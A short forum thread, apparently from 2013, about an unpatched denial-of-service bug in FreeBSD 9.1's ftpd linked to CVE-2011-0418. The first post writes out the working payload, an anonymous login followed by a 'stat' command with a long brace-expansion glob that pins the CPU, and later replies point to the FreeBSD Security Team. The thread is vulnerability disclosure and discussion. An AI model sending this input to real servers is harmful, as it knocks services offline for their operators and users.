# DoS on servers ftpd FreeBSD 9.1



## bryn1u (Feb 1, 2013)

Why is this still working ? 

http://www.youtube.com/watch?feature=player_embedded&v=FqXvFMyGnho

OpenBSD and NetBSD have fixed this bug but on FreeBSD is still working. What's going on ? 
Attack basing on old bug in libc from: CVE-2011-0418. 

Only need to login as anonymous and send wildcard (below) then proces will start using 100 % CPU 

```
stat
{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}
{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}{a,b}
```


----------



## SirDice (Feb 1, 2013)

On what FTP server and on what FreeBSD version?


----------



## bryn1u (Feb 1, 2013)

* FreeBSD 9.1 *



> *FreeBSD 9.1 ftpd Remote Denial of Service
> Maksymilian Arciemowicz*
> http://cxsecurity.org/
> http://cxsec.org/
> ...



Looks really bad.


----------



## SirDice (Feb 1, 2013)

I would suggest contacting the FreeBSD Security Team:

http://www.freebsd.org/security/#how


----------

